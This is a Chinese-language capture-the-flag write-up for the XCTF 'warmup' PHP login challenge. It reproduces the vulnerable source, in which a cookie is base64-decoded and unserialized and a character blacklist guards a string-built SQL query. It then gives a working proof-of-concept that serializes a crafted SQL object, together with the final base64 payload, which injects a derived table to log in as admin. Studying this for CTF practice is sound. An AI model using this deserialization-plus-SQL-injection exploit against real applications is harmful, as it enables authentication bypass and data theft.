xctf warmup
下载附件
index.php:
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>平平无奇的登陆界面</title>
</head>
<style type="text/css">
body {
margin: 0;
padding: 0;
font-family: sans-serif;
background: url("static/background.jpg");
/*背景图片自定义*/
background-size: cover;
}
.box {
position: absolute;
top: 50%;
left: 50%;
transform: translate(-50%, -50%);
width: 400px;
padding: 40px;
background: rgba(0, 0, 0, .8);
box-sizing: border-box;
box-shadow: 0 15px 25px rgba(0, 0, 0, .5);
border-radius: 10px;
/*登录窗口边角圆滑*/
}
.box h2 {
margin: 0 0 30px;
padding: 0;
color: #fff;
text-align: center;
}
.box .inputBox {
position: relative;
}
.box .inputBox input {
width: 100%;
padding: 10px 0;
font-size: 16px;
color: #fff;
letter-spacing: 1px;
margin-bottom: 30px;
/*输入框设置*/
border: none;
border-bottom: 1px solid #fff;
outline: none;
background: transparent;
}
.box .inputBox label {
position: absolute;
top: 0;
left: 0;
padding: 10px 0;
font-size: 16px;
color: #fff;
pointer-events: none;
transition: .5s;
}
.box .inputBox input:focus~label,
.box .inputBox input:valid~label {
top: -18px;
left: 0;
color: #03a9f4;
font-size: 12px;
}
.box input[type="submit"] {
background: transparent;
border: none;
outline: none;
color: #fff;
background: #03a9f4;
padding: 10px 20px;
cursor: pointer;
border-radius: 5px;
}
</style>
<body>
<div class="box">
<h2>请登录</h2>
<form method="post" action="index.php">
<div class="inputBox">
<input type="text" name="username" required="">
<label>用户名</label>
</div>
<div class="inputBox">
<input type="password" name="password" required="">
<label>密码</label>
</div>
<input type="submit" name="" value="登录">
</form>
</div>
</body>
</html>
<?php
include 'conn.php';
include 'flag.php';
if (isset ($_COOKIE['last_login_info'])) {
$last_login_info = unserialize (base64_decode ($_COOKIE['last_login_info']));
try {
if (is_array($last_login_info) && $last_login_info['ip'] != $_SERVER['REMOTE_ADDR']) {
die('WAF info: your ip status has been changed, you are dangrous.');
}
} catch(Exception $e) {
die('Error');
}
} else {
$cookie = base64_encode (serialize (array ( 'ip' => $_SERVER['REMOTE_ADDR']))) ;
setcookie ('last_login_info', $cookie, time () + (86400 * 30));
}
if(isset($_POST['username']) && isset($_POST['password'])){
$table = 'users';
$username = addslashes($_POST['username']);
$password = addslashes($_POST['password']);
$sql = new SQL();
$sql->connect();
$sql->table = $table;
$sql->username = $username;
$sql->password = $password;
$sql->check_login();
}
?>
index.php上面全是css,没什么好看的。php部分,接收cookie的last_login_info参数,base64解码后反序列化。
把原来的last_login_info拿去base64解码也可以看到,其实内容就是一个ip
这里不用管ip,die了就跳出cookie判断,反正last_login_info已经反序列化了
再下面的就是接收post来的参数,addslashes过滤后进行sql查询。sql查询的具体步骤的conn.php
<?php
include 'flag.php';
class SQL {
public $table = '';
public $username = '';
public $password = '';
public $conn;
public function __construct() {
}
public function connect() {
$this->conn = new mysqli("localhost", "xxxxx", "xxxx", "xxxx");
}
public function check_login(){
$result = $this->query();
if ($result === false) {
die("database error, please check your input");
}
$row = $result->fetch_assoc();
if($row === NULL){
die("username or password incorrect!");
}else if($row['username'] === 'admin'){
$flag = file_get_contents('flag.php');
echo "welcome, admin! this is your flag -> ".$flag;
}else{
echo "welcome! but you are not admin";
}
$result->free();
}
public function query() {
$this->waf();
return $this->conn->query ("select username,password from ".$this->table." where username='".$this->username."' and password='".$this->password."'");
}
public function waf(){
$blacklist = ["union", "join", "!", "\"", "#", "$", "%", "&", ".", "/", ":", ";", "^", "_", "`", "{", "|", "}", "<", ">", "?", "@", "[", "\\", "]" , "*", "+", "-"];
foreach ($blacklist as $value) {
if(strripos($this->table, $value)){
die('bad hacker,go out!');
}
}
foreach ($blacklist as $value) {
if(strripos($this->username, $value)){
die('bad hacker,go out!');
}
}
foreach ($blacklist as $value) {
if(strripos($this->password, $value)){
die('bad hacker,go out!');
}
}
}
public function __wakeup(){
if (!isset ($this->conn)) {
$this->connect ();
}
if($this->table){
$this->waf();
}
$this->check_login();
$this->conn->close();
}
}
?>
其实就是一个黑名单过滤,拼好query后进行sql查询。在index.php,向last_login_info传入SQL对象后,new SQL()则会直接指向恶意对象从而SQL注入。
POC:
<?php
class SQL {
public $table = "(select 'admin' username,'anything' password)a";
public $username = "admin";
public $password = 'anything';
public $conn;
public function __construct() {
}
public function connect() {
$this->conn = new mysqli("localhost", "xxxxx", "xxxx", "xxxx");
}
}
$a = new SQL();
$b = serialize($a);
echo base64_encode($b);
?>
拼好的sql语句为:select username,password from (select ‘admin’ username,‘anything’ password)a where username=‘admin’ and password=‘anything’;
其中表为(select ‘admin’ username,‘anything’ password)a会创建一个虚拟表a,字段username对应admin,字段password对应anything。查询的时候就是从表a查询,肯定能查到admin用户。从而进入if判断
payload:TzozOiJTUUwiOjQ6e3M6NToidGFibGUiO3M6NDY6IihzZWxlY3QgJ2FkbWluJyB1c2VybmFtZSwnYW55dGhpbmcnIHBhc3N3b3JkKWEiO3M6ODoidXNlcm5hbWUiO3M6NToiYWRtaW4iO3M6ODoicGFzc3dvcmQiO3M6ODoiYW55dGhpbmciO3M6NDoiY29ubiI7Tjt9
be624fe7-c0a4-4031-bf9b-9a6f761483ef